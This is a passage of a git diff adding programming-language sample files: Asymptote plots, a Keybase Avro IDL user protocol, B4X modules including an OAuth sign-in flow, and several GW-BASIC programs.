+zaxis3("",zbounds.x,zbounds.y,invisible,OutTicks(myzchoice),Arrow3(size=3mm));
+
+label("$x$",(xbounds.y+0.05*(xbounds.y-xbounds.x),0,0));
+label("$y$",(0,ybounds.y+0.05*(ybounds.y-ybounds.x),0));
+//label("$z$",(0,0,zbounds.y+0.05*(zbounds.y-zbounds.x)));
+
+//\addplot3[domain=.9:1.4,y domain=-210:150,samples y=36,surf,shader=flat,colormap={mp2}{\colormapone}]
+// ({x},{(.41*(x-.9)+.78)*sin(y)},{(.41*(x-.9)+.78)*cos(y)});
+
+//\addplot3[domain=.5:1.9,,samples y=0,{\colorone},] ({x},{0},{(sin(deg(x)))});
+
+//\addplot3[domain=0:360,,samples y=0,black,smooth] ({1.4},{.98*cos(x)},{.98*sin(x)});
+
+//\addplot3[domain=130:330,,samples y=0,black,dashed,smooth] ({.9},{.78*cos(x)},{.78*sin(x)});
+
+pen p=rgb(0,0,.7);
+
+triple f2(pair t) {return (t.x,(.41*(t.x-.9)+.78)*sin(t.y),(.41*(t.x-.9)+.78)*cos(t.y));}
+surface s2=surface(f2,(.9,0),(1.4,2*pi),2,16,Spline);
+draw(s2,emissive(rgb(.6,.6,1)+opacity(.7)),meshpen=p);
+
+triple g3(real t) {return (t,sin(t),0);}
+path3 p3=graph(g3,.5,1.9,operator ..);
+draw(p3,blue+.4mm);
+
+triple g3(real t) {return (.9,.78*sin(t),.78*cos(t));}
+path3 p3=graph(g3,0,2*pi,operator ..);
+draw(p3,blue+.2mm);
+
+triple g3(real t) {return (1.4,.985*sin(t),.985*cos(t));}
+path3 p3=graph(g3,0,2*pi,operator ..);
+draw(p3,blue+.2mm);
+
+draw((.9,.78,0)--(1.4,.985,0),red+.6mm);
+
+draw((.5,.05,0)--(.5,-.05,0),black+.2mm);
+label("$a$",(.5,-.05,0),S);
+
+draw((1.9,.05,0)--(1.9,-.05,0),black+.2mm);
+label("$b$",(1.9,-.05,0),S);
+
+draw((.9,.05,0)--(.9,-.05,0),black+.2mm);
+label("$x_i$",(.9,-.05,0),S);
+
+draw((1.4,.05,0)--(1.4,-.05,0),black+.2mm);
+label("$x_{i+1}$",(1.4,-.05,0),S);
+
+label(XY*"$\left.\rule{0pt}{40pt}\right\}\ R$",(1.4,.49,0),E,Embedded);
+label(XY*"$r\left\{\rule{0pt}{30pt}\right.$",(.85,.37,0),W,Embedded);
+label(rotate(20,(0,0,1))*"$\overbrace{\rule{41pt}{0pt}}^{\text{\normalsize \textit{L}}}$",(1.1,1.03,0),Embedded);
+
+// ////////////////////////////////////
+//    SAMPLE CODE
+
+// defaultpen(fontsize(10pt));
+
+//real f(pair z) {return -z.x^4+2*z.x^2-z.y^4+2*z.y^2;}
+//surface s=surface(f,(-1.5,-1.5),(1.5,1.5),Spline);
+//pen p=rgb(0,0,.7);
+//draw(s,rgb(.6,.6,1)+opacity(.7),meshpen=p);
+
+//triple f(pair t) {
+//  return (cos(t.x)*1.5*cos(t.y),sin(t.x)*cos(t.y),sin(t.y));
+//}
+//surface s=surface(f,(0,0),(pi,2*pi),8,8,Spline);
+//pen p=rgb(0,0,.7);
+//draw(s,rgb(.6,.6,1)+opacity(.7),meshpen=p);
+
+//draw(s,paleblue);
+//draw(s,lightblue,meshpen=black+thick(),nolight,render(merge=true));
+//draw(mypath,2bp+blue);
+
+//triple g(real t) {return (t,t,-2*t^4+4*t^2);}
+//path3 mypath=graph(g,-1,1,operator ..);
+//draw(mypath,blue+dashed+linewidth(2));
+
+//pen p=rgb(0,0,1);
+//draw(s,paleblue+opacity(.5),meshpen=p,render(merge=true));
+
+
+
+
+
+
+
+
diff --git a/samples/Asymptote/kappa-sawteeth.asy b/samples/Asymptote/kappa-sawteeth.asy
new file mode 100644
index 0000000000..0c5be9cb7f
--- /dev/null
+++ b/samples/Asymptote/kappa-sawteeth.asy
@@ -0,0 +1,45 @@
+import wtk_graph;
+
+size(15cm,10cm,IgnoreAspect);
+
+scale(Linear, Linear);
+real xscale=1e9;
+real fscale=1e12;
+
+void graphSawtooth(string file="datafile", real k,
+                   int xcol=0, int fcol=1,
+                   real xscale=1, real fscale=1, real dx=0, real df=0,
+                   pen p=red, string t="Title") {
+  file fin=input(file).line();
+  real[][] a=fin.dimension(0,0);
+  a=transpose(a);
+  real[] x=a[xcol];
+  real[] f=a[fcol];
+  x = x - f/k; /* Remove cantilever extension */
+  graphData(x=x, y=f, xscale=xscale, yscale=fscale,
+            dx=dx, dy=df, p=p, t=t, dots=false);
+}
+
+real[] k = {0.001, 0.01, 0.05, 0.1, 0.5, 1, 10};
+pen[] p = {blue, green, red, cyan, magenta, yellow, black};
+
+int i;
+for (i=k.length-1; i>=0; --i) {/* count down so legend and plot orders match */
+  string file = format("k-%f", k[i])+"."+"dat";
+  /* We break up .dat so the Asymptote scanner doesn't pick up
+   * .dat as a dependency (which obviously doesn't exist). */
+  string label = math("k="+units(format("%f",k[i]*1e3), "pN/nm"));
+  if (k[i] >= 1)
+    label = math("k="+units(format("%f",k[i]),"nN/nm"));
+  // TODO: rainbow pen(N, i)
+  graphSawtooth(file=file, k=k[i], xscale=xscale, fscale=fscale,
+                df=300e-12*i, p=p[i], t=label);
+}
+
+xlimits(0, 300e-9*xscale, crop=true);
+xaxis(sLabel("Distance (nm) ($x_t-x_c$)"), BottomTop, LeftTicks);
+yaxis(sLabel("Force (pN)"), LeftRight, RightTicks);
+label(sLabel("Simulated force curves"), point(N), N);
+
+add(legend(), point(E), 20E);
+//add(lengend(). point(E), 20E); //, UnFill);
diff --git a/samples/Avro IDL/user.avdl b/samples/Avro IDL/user.avdl
new file mode 100644
index 0000000000..a03ecd6b51
--- /dev/null
+++ b/samples/Avro IDL/user.avdl	
@@ -0,0 +1,269 @@
+@namespace("keybase.1")
+protocol user {
+  import idl "common.avdl";
+
+  record TrackProof {
+    string proofType;
+    string proofName;
+    string idString;
+  }
+
+  record WebProof {
+    string hostname;
+    array<string> protocols;
+  }
+
+  record Proofs {
+    array<TrackProof> social;
+    array<WebProof> web;
+    array<PublicKey> publicKeys;
+  }
+
+  record UserSummary {
+    UID uid;
+    string username;
+    string fullName;
+    union { null, LinkID } linkID;
+  }
+
+  record UserSummarySet {
+    array<UserSummary> users;
+    Time time;
+    int version;
+  }
+
+  /**
+    listTracking gets verified data from the tracking statements in the user's
+    sigchain. However, it does not check to make sure the tracked users have
+    not reset since the track statement.
+
+    If assertion is empty, it will use the current logged in user.
+    */
+  UserSummarySet listTracking(int sessionID, string filter, string assertion);
+  string listTrackingJSON(int sessionID, string filter, boolean verbose, string assertion);
+
+  /**
+    listTrackersUnverified returns the users following the given user, and is unverified
+    and server-trust.
+  */
+  UserSummarySet listTrackersUnverified(int sessionID, string assertion);
+
+  @typedef("string")
+  record EmailAddress {}
+
+  record Email {
+    EmailAddress email;
+    boolean isVerified;
+    boolean isPrimary;
+    IdentityVisibility visibility;
+    UnixTime lastVerifyEmailDate;
+  }
+
+  record UserSettings {
+    array<Email> emails;
+    array<UserPhoneNumber> phoneNumbers;
+  }
+
+  /**
+    Load a user from the server.
+    */
+  User loadUser(int sessionID, UID uid);
+  User loadUserByName(int sessionID, string username);
+
+  /**
+    Load a user + device keys from the server.
+    */
+  UserPlusKeys loadUserPlusKeys(int sessionID, UID uid, KID pollForKID);
+  UserPlusKeysV2AllIncarnations loadUserPlusKeysV2(
+    int sessionID,
+    UID uid,
+    KID pollForKID,
+    OfflineAvailability oa
+  );
+
+  /**
+    Load public keys for a user.
+    */
+  array<PublicKey> loadPublicKeys(int sessionID, UID uid);
+
+  /**
+    Load my public keys (for logged in user).
+    */
+  array<PublicKey> loadMyPublicKeys(int sessionID);
+
+  /**
+    Load user settings (for logged in user).
+    */
+  UserSettings loadMySettings(int sessionID);
+
+  /**
+    Load all the user's public keys (even those in reset key families)
+    from the server with no verification
+    */
+  array<PublicKey> loadAllPublicKeysUnverified(int sessionID, UID uid);
+
+  void profileEdit(int sessionID, string fullName, string location, string bio);
+
+  record InterestingPerson {
+    UID uid;
+    string username;
+    string fullname;
+    map<string, string> serviceMap;
+  }
+  array<InterestingPerson> interestingPeople(int maxUsers, string namespace);
+
+  UserVersion meUserVersion(int sessionID, boolean forcePoll);
+
+  /**
+   getUPAK returns a UPAK. Used mainly for debugging.
+  */
+  @lint("ignore")
+  UPAKVersioned getUPAK(UID uid, boolean unstubbed);
+
+  /**
+   getUPAKLite returns a UPKLiteV1AllIncarnations. Used mainly for debugging.
+  */
+  @lint("ignore")
+  UPKLiteV1AllIncarnations getUPAKLite(UID uid);
+
+  void uploadUserAvatar(string filename, union { null, ImageCropRect } crop);
+
+  ProofSuggestionsRes proofSuggestions(int sessionID);
+  record ProofSuggestionsRes{
+    array<ProofSuggestion> suggestions;
+    boolean showMore;
+  }
+
+  // A proof the user doesn't have.
+  record ProofSuggestion {
+    string key;
+    boolean belowFold;
+    string profileText; // "Prove your Twitter", "Add a PGP key"
+    array<SizedImage> profileIcon;
+    array<SizedImage> profileIconDarkmode;
+    string pickerText; // "Twitter", "Your own website", "octodon.xyz"
+    string pickerSubtext; // "twitter.com", "Mastodon instance"
+    array<SizedImage> pickerIcon;
+    array<SizedImage> pickerIconDarkmode;
+    array<Identify3RowMeta> metas; // for 'new' proof types
+  }
+
+  record NextMerkleRootRes {
+    union { null, MerkleRootV2 } res;
+  }
+
+  /**
+   FindNextMerkleRootAfterRevoke finds the first Merkle Root that contains the UID/KID
+   revocation at the given SigChainLocataion. The MerkleRootV2 prev is a hint as to where
+   we'll start our search. Usually it's the next one, but not always
+  */
+  NextMerkleRootRes findNextMerkleRootAfterRevoke(UID uid, KID kid, SigChainLocation loc, MerkleRootV2 prev);
+
+  /**
+   FindNextMerkleRootAfterReset finds the first Merkle root that contains the UID reset
+   at resetSeqno. You should pass it prev, which was the last known Merkle root at the time of
+   the reset. Usually, we'll just turn up the next Merkle root, but not always.
+  */
+  NextMerkleRootRes findNextMerkleRootAfterReset(UID uid, Seqno resetSeqno, ResetMerkleRoot prev);
+
+  /**
+   PassphraseState values are used in .config.json, so should not be changed without a migration strategy
+  */
+  enum PassphraseState {
+    KNOWN_0,
+    RANDOM_1
+  }
+
+  record CanLogoutRes {
+    boolean canLogout;
+    string reason;
+    PassphraseState passphraseState;
+  }
+  CanLogoutRes canLogout(int sessionID);
+
+  PassphraseState loadPassphraseState(int sessionID);
+
+  union { null, UserCard } userCard(int sessionID, string username, boolean useSession);
+
+  // user.passphrase_state gregor message body
+  @lint("ignore")
+  record UserPassphraseStateMsg {
+    @jsonkey("state")
+    PassphraseState passphraseState;
+  }
+
+  record UserBlockedRow {
+    @jsonkey("block_uid")
+    UID uid;
+    @jsonkey("block_username")
+    string username;
+    @jsonkey("chat")
+    union { null, boolean } chat;
+    @jsonkey("follow")
+    union { null, boolean } follow;
+  }
+
+  enum UserBlockType {
+    CHAT_0,
+    FOLLOW_1
+  }
+
+  // user.blocked gregor message body
+  record UserBlockedBody {
+    @jsonkey("blocks")
+    array<UserBlockedRow> blocks;
+    // The user who blocked (should be the currently logged-in user).
+    @jsonkey("blocker_uid")
+    UID uid;
+    @jsonkey("blocker_username")
+    string username;
+  }
+
+  record UserBlockState {
+    UserBlockType blockType;
+    boolean blocked;
+  }
+
+  record UserBlockedSummary {
+    string blocker;
+    map<string, array<UserBlockState>> blocks;
+  }
+
+  // User Blocking
+
+  record UserBlock {
+    string username;
+    boolean chatBlocked;
+    boolean followBlocked;
+    union { null, Time } createTime;
+    union { null, Time } modifyTime;
+  }
+
+  record UserBlockArg {
+    string username;
+    union { null, boolean } setChatBlock;
+    union { null, boolean } setFollowBlock;
+  }
+
+  void setUserBlocks(int sessionID, array<UserBlockArg> blocks);
+  array<UserBlock> getUserBlocks(int sessionID, array<string> usernames);
+
+  void reportUser(int sessionID, string username, string reason, string comment,
+    boolean includeTranscript, union { null, string } convID);
+
+  void dismissBlockButtons(TLFID tlfID);
+
+  // Legacy user blocking:
+  void blockUser(string username);
+  void unblockUser(string username);
+
+  // Team blocking
+  record TeamBlock {
+    @jsonkey("fq_name")
+    string teamName;
+    @jsonkey("ctime")
+    Time createTime;
+  }
+
+  array<TeamBlock> getTeamBlocks(int sessionID);
+}
diff --git a/samples/B4X/B4XMainPage.bas b/samples/B4X/B4XMainPage.bas
new file mode 100644
index 0000000000..0b367d47fe
--- /dev/null
+++ b/samples/B4X/B4XMainPage.bas
@@ -0,0 +1,57 @@
+B4A=true
+Group=Default Group
+ModulesStructureVersion=1
+Type=Class
+Version=9.85
+@EndOfDesignText@
+#Region Shared Files
+#CustomBuildAction: folders ready, %WINDIR%\System32\Robocopy.exe,"..\..\Shared Files" "..\Files"
+'Ctrl + click to sync files: ide://run?file=%WINDIR%\System32\Robocopy.exe&args=..\..\Shared+Files&args=..\Files&FilesSync=True
+#End Region
+
+'Ctrl + click to export as zip: ide://run?File=%B4X%\Zipper.jar&Args=Project.zip&VMArgs=-DZeroSharedFiles%3DTrue
+
+Sub Class_Globals
+	Private Root As B4XView
+	Private xui As XUI
+	Public mGame As Game
+End Sub
+
+Public Sub Initialize
+'	B4XPages.GetManager.LogEvents = True
+End Sub
+
+'This event will be called once, before the page becomes visible.
+Private Sub B4XPage_Created (Root1 As B4XView)
+ 	#if B4A or B4J
+    Root = Root1
+    #else if B4i
+	'handle iPhone safe area
+	Root = xui.CreatePanel("")
+	Root1.Color = xui.Color_Black
+	Root1.AddView(Root, 0, 0, Root1.Width, Root1.Height)
+    #end if
+	If Root.Width = 0 Or Root.Height = 0 Then
+		Wait For  B4XPage_Resize(Width As Int, Height As Int)
+	End If
+	#if B4i
+	Dim r As Rect = B4XPages.GetNativeParent(Me).SafeAreaInsets
+	Root.SetLayoutAnimated(0, r.Left, r.Top, Width - r.Right - r.Left, Height - r.Bottom - r.Top)
+    #end if
+	mGame.Initialize(Root)
+	mGame.Start
+End Sub
+
+Private Sub B4XPage_Resize (Width As Int, Height As Int)
+	mGame.Resize
+End Sub
+
+Private Sub B4XPage_Appear
+
+End Sub
+
+Private Sub B4XPage_Disappear
+	If mGame.IsInitialized Then
+		mGame.Pause
+	End If
+End Sub
\ No newline at end of file
diff --git a/samples/B4X/OAuth.bas.bas b/samples/B4X/OAuth.bas.bas
new file mode 100644
index 0000000000..e9f7992130
--- /dev/null
+++ b/samples/B4X/OAuth.bas.bas
@@ -0,0 +1,252 @@
+B4J=true
+Group=Network
+ModulesStructureVersion=1
+Type=Class
+Version=8.5
+@EndOfDesignText@
+#Event: SignedIn (Result As PLMResult)
+Sub Class_Globals
+	Private su As StringUtils
+	#if B4A
+	Private LastIntent As Intent
+	#end if
+	#if B4J
+	Private serversock As ServerSocket
+	Private fx As JFX
+	Private port As Int = 51067
+	Private astream As AsyncStreams
+	#End if
+	Private mCallback As Object
+	Private mEventName As String
+	Private packageName As String 'ignore
+	Private CurrentlySignedInServer As PLMServer
+End Sub
+
+Public Sub Initialize (Callback As Object, EventName As String)
+	mCallback = Callback
+	mEventName = EventName
+	#if B4A
+	packageName = Application.PackageName
+	#Else If B4i
+	packageName = GetPackageName
+	#End If
+End Sub
+
+Public Sub RegisterApp (Server As PLMServer) As ResumableSub
+	Dim j As HttpJob
+	j.Initialize("", Me)
+	Dim sb As StringBuilder
+	sb.Initialize
+	sb.Append("client_name=").Append(su.EncodeUrl(Constants.AppName, "UTF8"))
+	sb.Append("&redirect_uris=").Append(su.EncodeUrl(GetRedirectUri, "UTF8"))
+	sb.Append("&scopes=read+write+follow+push")
+	sb.Append("&website=").Append("https://www.b4x.com")
+	Dim res As PLMResult
+	Try
+		j.PostString(Server.URL & "/api/v1/apps", sb.ToString)
+	Catch
+		Log(LastException)
+		Return B4XPages.MainPage.CreatePLMResult(False, LastException)
+	End Try
+	Wait For (j) JobDone (j As HttpJob)
+	If j.Success Then
+		Try
+			Dim m As Map = B4XPages.MainPage.TextUtils1.JsonParseMap(j.GetString)
+			If m.IsInitialized Then
+				Server.AppClientId = m.Get("client_id")
+				Server.AppClientSecret = m.Get("client_secret")
+				Log("server client id and secret set.")
+				B4XPages.MainPage.PersistUserAndServers
+				res = B4XPages.MainPage.CreatePLMResult2(True, "")
+			End If
+		Catch
+			res = B4XPages.MainPage.CreatePLMResult(False, LastException)
+			Log(LastException)
+		End Try
+	Else
+		res = B4XPages.MainPage.CreatePLMResult2(False, j.ErrorMessage)
+	End If
+	j.Release
+	If Server.AppClientSecret = "" Then res = B4XPages.MainPage.CreatePLMResult2(False, "client secret empty")
+	Return res
+End Sub
+
+Public Sub SignIn (User As PLMUser, Server As PLMServer)
+	Dim link As String = BuildLink(Server.URL & "/oauth/authorize", _
+		 CreateMap("client_id": Server.AppClientId, _
+		"redirect_uri": GetRedirectUri, _
+		"response_type": "code", "scope": "read write follow push"))
+	B4XPages.MainPage.ShowExternalLink(link)
+	CurrentlySignedInServer = Server
+	#if B4J
+	PrepareServer
+	#end if
+End Sub
+
+Private Sub BuildLink(Url As String, Params As Map) As String
+	Dim sb As StringBuilder
+	sb.Initialize
+	sb.Append(Url)
+	If Params.Size > 0 Then
+		sb.Append("?")
+		For Each k As String In Params.Keys
+			sb.Append(su.EncodeUrl(k, "utf8")).Append("=").Append(su.EncodeUrl(Params.Get(k), "utf8"))
+			sb.Append("&")
+		Next
+		sb.Remove(sb.Length - 1, sb.Length)
+	End If
+	Return sb.ToString
+End Sub
+
+#if B4J
+Private Sub PrepareServer
+	If serversock.IsInitialized Then serversock.Close
+	If astream.IsInitialized Then astream.Close
+	Do While True
+		Try
+			serversock.Initialize(port, "server")
+			serversock.Listen
+			Exit
+		Catch
+			port = port + 1
+			Log(LastException)
+		End Try
+	Loop
+	Wait For server_NewConnection (Successful As Boolean, NewSocket As Socket)
+	If Successful Then
+		astream.Initialize(NewSocket.InputStream, NewSocket.OutputStream, "astream")
+		Dim Response As StringBuilder
+		Response.Initialize
+		Do While Response.ToString.Contains("Host:") = False
+			Wait For AStream_NewData (Buffer() As Byte)
+			Response.Append(BytesToString(Buffer, 0, Buffer.Length, "UTF8"))
+		Loop
+		astream.Write(("HTTP/1.0 200" & Chr(13) & Chr(10)).GetBytes("UTF8"))
+		Sleep(50)
+		astream.Close
+		serversock.Close
+		ParseBrowserUrl(Regex.Split2("$",Regex.MULTILINE, Response.ToString)(0))
+	End If
+	
+End Sub
+#else if B4A
+Public Sub CallFromResume(Intent As Intent)
+	If IsNewOAuth2Intent(Intent) Then
+		LastIntent = Intent
+		ParseBrowserUrl(Intent.GetData)
+	End If
+End Sub
+
+Private Sub IsNewOAuth2Intent(Intent As Intent) As Boolean
+	Return Intent.IsInitialized And Intent <> LastIntent And Intent.Action = Intent.ACTION_VIEW And _
+		Intent.GetData <> Null And Intent.GetData.StartsWith(Application.PackageName)
+End Sub
+#else if B4I
+Public Sub CallFromOpenUrl (url As String)
+	If url.StartsWith(packageName & ":/oath") Then
+		ParseBrowserUrl(url)
+	End If
+	Sleep(0)
+	Dim no As NativeObject = B4XPages.MainPage.safari
+	no = no.GetField("safari")
+	If no.IsInitialized Then
+		no.RunMethod("dismissViewControllerAnimated:completion:", Array(True, Null))
+	End If
+End Sub
+
+Private Sub GetPackageName As String
+	Dim no As NativeObject
+	no = no.Initialize("NSBundle").RunMethod("mainBundle", Null)
+	Dim name As Object = no.RunMethod("objectForInfoDictionaryKey:", Array("CFBundleIdentifier"))
+	Return name
+End Sub
+
+#end if
+
+Private Sub ParseBrowserUrl(Response As String)
+	Dim m As Matcher = Regex.Matcher("code=([^&\s]+)", Response)
+	If m.Find Then
+		Dim code As String = m.Group(1)
+		GetTokenFromAuthorizationCode(code)
+	Else
+		Log("Error parsing server response: " & Response)
+		RaiseEvent(B4XPages.MainPage.CreatePLMResult2(False, "Error parsing server response: " & Response))
+	End If
+End Sub
+
+Private Sub GetTokenFromAuthorizationCode (Code As String)
+	Dim user As PLMUser = B4XPages.MainPage.User
+	Dim server As PLMServer = CurrentlySignedInServer
+	Log(Code)
+	Log("Getting access token from authorization code...")
+	Dim j As HttpJob
+	j.Initialize("", Me)
+	Dim postString As String = $"code=${Code}&client_id=${server.AppClientId}&grant_type=authorization_code&redirect_uri=${su.EncodeUrl(GetRedirectUri, "UTF8")}"$
+	postString = postString & $"&client_secret=${server.AppClientSecret}&scope=read+write+follow+push"$
+	j.PostString(server.URL & "/oauth/token", postString)
+	Wait For (j) JobDone(j As HttpJob)
+	If j.Success Then
+		Dim m As Map = B4XPages.MainPage.TextUtils1.JsonParseMap(j.GetString)
+		If m.IsInitialized Then
+			user.AccessToken = m.Get("access_token")
+			user.MeURL = m.Get("me")
+			Wait For (VerifyUser (CurrentlySignedInServer)) Complete (Result As PLMResult)
+			j.Release
+			RaiseEvent(Result)
+		Else
+			RaiseEvent(B4XPages.MainPage.CreatePLMResult2(False, "Failed to parse server response: " & j.GetString))
+		End If
+	Else
+		RaiseEvent(B4XPages.MainPage.CreatePLMResult2(False, j.ErrorMessage))
+	End If
+	j.Release
+End Sub
+
+Private Sub RaiseEvent(Result As PLMResult)
+	CallSubDelayed2(mCallback, mEventName & "_SignedIn", Result)
+End Sub
+
+
+Private Sub GetRedirectUri As String
+	#if B4J
+	Return "http://127.0.0.1:" & port
+	#Else
+		Return packageName & ":/oath"
+	#End If
+End Sub
+
+Public Sub VerifyUser (Server As PLMServer) As ResumableSub
+	Dim user As PLMUser = B4XPages.MainPage.User
+	Dim j As HttpJob
+	j.Initialize("", Me)
+	j.Download(Server.URL & "/api/v1/accounts/verify_credentials")
+	j.GetRequest.SetHeader("Authorization", "Bearer " & user.AccessToken)
+	Dim res As PLMResult
+	Wait For (j) JobDone(j As HttpJob)
+	If j.Success Then
+		Dim m As Map = B4XPages.MainPage.TextUtils1.JsonParseMap(j.GetString)
+		If m.IsInitialized Then
+			user.DisplayName = m.Get("display_name")
+			If user.DisplayName = "" Then user.DisplayName = m.Get("username")
+			user.Avatar = m.Get("avatar")
+			user.Id = m.Get("id")
+			user.Note = m.Get("note")
+			user.Acct = m.Get("acct")
+			res = B4XPages.MainPage.CreatePLMResult2(True, "")
+		Else
+			res = B4XPages.MainPage.CreatePLMResult2(False, "Failed to parse server response: " & j.GetString)
+		End If
+	Else
+		res = B4XPages.MainPage.CreatePLMResult2(False, j.ErrorMessage)
+		Log(j.ErrorMessage)
+	End If
+	j.Release
+	Return res
+End Sub
+
+Public Sub AddAuthorization (job As HttpJob)
+	Dim user As PLMUser = B4XPages.MainPage.User
+	If user.SignedIn Then
+		job.GetRequest.SetHeader("Authorization", "Bearer " & user.AccessToken)
+	End If
+End Sub
\ No newline at end of file
diff --git a/samples/B4X/RequestsManager.bas b/samples/B4X/RequestsManager.bas
new file mode 100644
index 0000000000..69ad5519f5
--- /dev/null
+++ b/samples/B4X/RequestsManager.bas
@@ -0,0 +1,61 @@
+B4J=true
+Group=Network
+ModulesStructureVersion=1
+Type=Class
+Version=8.45
+@EndOfDesignText@
+Sub Class_Globals
+	
+End Sub
+
+Public Sub Initialize
+	
+End Sub
+
+Public Sub CancelRequest (URL As String, Job As HttpJob)
+	If HttpUtils2Service.hc.IsInitialized = False Then Return
+#if B4J or B4A
+	Dim Jo As JavaObject = HttpUtils2Service.hc
+	Dim OkHttpClient As JavaObject = Jo.GetField("client")
+	Dim RunningCalls As List = OkHttpClient.RunMethodJO("dispatcher", Null).RunMethod("runningCalls", Null)
+	For Each call As JavaObject In RunningCalls
+		Dim req As JavaObject = call.RunMethod("request", Null)
+		Dim s As String = req.RunMethod("url", Null)
+		If s = URL Then
+			call.RunMethod("cancel", Null)
+			Return
+		End If
+	Next
+	For Each j As HttpJob In HttpUtils2Service.TaskIdToJob.Values
+		If j = Job Then 
+			If j.Out.IsInitialized Then j.Out.Close
+			Return
+		End If
+	Next
+#else if B4i
+	Dim no As NativeObject = HttpUtils2Service.hc
+	Dim session As NativeObject = no.GetField("session")
+	no = Me
+	no.RunMethod("cancelDownload::", Array(session, Job.req))
+#end if
+	
+End Sub
+
+#if OBJC
+- (void) cancelDownload:(NSURLSession*)session :(B4IHttpRequest*)req{
+	[session getTasksWithCompletionHandler:^(NSArray *dataTasks, NSArray *uploadTasks, NSArray *downloadTasks) {
+		//NSLog(@"data: %@, \nupload: %@, \ndownload: %@", dataTasks, uploadTasks, downloadTasks);
+		@try {
+			for (NSURLSessionDownloadTask* task in downloadTasks) {
+				if ([task.originalRequest.URL isEqual:((NSURLRequest*)req.object).URL]) {
+					[task cancel];
+				}
+			}
+		}
+		 @catch (NSException *exception) {
+		 	 NSLog(@"%@", exception);
+		 }
+		
+	}];
+}
+#End If
\ No newline at end of file
diff --git a/samples/BASIC/GPIOGW.BAS b/samples/BASIC/GPIOGW.BAS
new file mode 100644
index 0000000000..1550c33b46
--- /dev/null
+++ b/samples/BASIC/GPIOGW.BAS
@@ -0,0 +1,59 @@
+1 REM GWBASIC program to control MCP23S17 I/O expander inside PC Emulator
+10 CLS
+20 REM
+30 REM check for I/O available
+40 IF (INP(&HE0) AND 1) = 0 THEN GOTO 1100
+80 REM
+90 REM Setup Port A and B as Outputs
+100 OUT &HE1, &HFF
+110 OUT &HE2, &HFF
+120 REM
+130 PRINT "on/off Port A and B"
+140 FOR I = 1 TO 4
+150   OUT &HE5, 255
+160   OUT &HE6, 255
+170   FOR D = 1 TO 200: NEXT
+180   OUT &HE5, 0
+190   OUT &HE6, 0
+200   FOR D = 1 TO 200: NEXT
+210 NEXT
+220 REM
+230 PRINT "on/off single GPIO A0 to B2"
+240 FOR I = 1 TO 4
+250   FOR GPIO = 0 TO 10
+260     OUT &HE7, GPIO
+270     OUT &HE9, 0
+280     OUT &HE7, GPIO + 1
+290     OUT &HE9, 1
+300     FOR D = 1 TO 50: NEXT
+310   NEXT
+320   FOR GPIO = 10 TO 0 STEP -1
+330     OUT &HE7, GPIO
+340     OUT &HE9, 0
+350     IF GPIO > 0 THEN: OUT &HE7, GPIO - 1
+360     OUT &HE9, 1
+370     FOR D = 1 TO 50: NEXT
+380   NEXT
+390 NEXT
+400 REM
+410 PRINT "Check for B3 to B7 as Inputs..."
+420 PRINT "Press any key to stop"
+430 OUT &HE2, &H7: REM setup GPIO B3 to B7 as inputs (bits 3..7 = 0)
+440 WHILE LEN(INKEY$) = 0
+450   FOR GPIO = 11 TO 15
+460     GOSUB 1000: REM checkGPIO (gpio)
+470   NEXT
+480 WEND
+490 END
+1000 REM SUB checkGPIO (gpio)
+1010 OUT &HE7, GPIO
+1020 IF INP(&HE9) <> 1 THEN RETURN
+1030 PRINT "pressed "; GPIO; "...";
+1040 WHILE INP(&HE9): WEND
+1050 PRINT "released"
+1070 RETURN
+1099 REM
+1100 REM expander not available
+1110 PRINT "Extended I/O not available on this board!"
+1120 END
+
diff --git a/samples/BASIC/mandelbrot.bas b/samples/BASIC/mandelbrot.bas
new file mode 100644
index 0000000000..7a73886974
--- /dev/null
+++ b/samples/BASIC/mandelbrot.bas
@@ -0,0 +1,28 @@
+10 REM Mandelbrot Set with ANSI Colors in BASIC
+20 REM https://github.com/telnet23
+30 REM 20 November 2020
+40 CLS
+50 MAXK = 32
+60 MINRE = -2.5
+70 MAXRE = 1.5
+80 MINIM = -1.5
+90 MAXIM = 1.5
+100 FOR X = 1 TO WIDTH
+110 FOR Y = 1 TO HEIGHT
+120 LOCATE Y, X
+130 REC = MINRE + (MAXRE - MINRE) / (WIDTH - 1) * (X - 1)
+140 IMC = MINIM + (MAXIM - MINIM) / (HEIGHT - 1) * (Y - 1)
+150 K = 0
+160 REF = 0
+170 IMF = 0
+180 K = K + 1
+190 REF = REC + REF * REF - IMF * IMF
+200 IMF = IMC + REF * IMF + REF * IMF
+210 IF REF * REF + IMF * IMF > 4 THEN GOTO 230
+220 IF K < MAXK THEN GOTO 180
+230 M = 40 + INT(8 / MAXK * (K - 1))
+240 PRINT CHR$(27) + "[" + STR$(M) + "m";
+250 PRINT " ";
+260 PRINT CHR$(27) + "[49m";
+270 NEXT Y
+280 NEXT X
diff --git a/samples/BASIC/spacesc.bas b/samples/BASIC/spacesc.bas
new file mode 100644
index 0000000000..056b6a3955
--- /dev/null
+++ b/samples/BASIC/spacesc.bas
@@ -0,0 +1,260 @@
+10 ' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
+20 ' SPACE ESCAPE! By Neil C. Obremski (Feb-Mar 2011), Music by Scott Happell
+30 '
+40   DEFINT A-Z: KEY OFF: RANDOMIZE TIMER: OPTION BASE 1
+50   DEF FNRAND (N) = 1 + FIX(RND * N)
+60   DEF FNMOVE (N) = FIX(RND * 3) - 1
+70   DEF FNSEEK (ME, YOU) = ME + SGN(YOU - ME)
+80   HS! = 0: LS = 0 ' High Score and Saved Location
+90   ON ERROR GOTO 9700
+100 ' Initialize Keyboard (ESC=QUIT, ARROW KEYS=MOVE)
+110   KEY 15, CHR$(0) + CHR$(1): KEY(15) ON: ON KEY(15) GOSUB 9990
+120   KEY(11) ON: KEY(12) ON: KEY(13) ON: KEY(14) ON
+130   ON KEY(11) GOSUB 160: ON KEY(12) GOSUB 170
+140   ON KEY(13) GOSUB 180: ON KEY(14) GOSUB 190
+150 GOTO 200
+160   MY = MY - 1: RETURN ' 11 = ARROW UP
+170   MX = MX - 1: RETURN ' 12 = ARROW LEFT
+180   MX = MX + 1: RETURN ' 13 = ARROW RIGHT
+190   MY = MY + 1: RETURN ' 14 = ARROW DOWN
+200 ' Initialize Star Field
+210   SC = 0: DIM SX(31), SY(31), SS(31), SO(31)
+220   FOR I = 1 TO 31
+230     SX(I) = FIX(RND * 320): SY(I) = FIX(RND * 200)
+240     SS(I) = .5 + (((31 - I) / 31) * 5)
+250     SO(I) = 0
+260   NEXT I
+270 ' Initialize Palette Rotation DATA and Music List
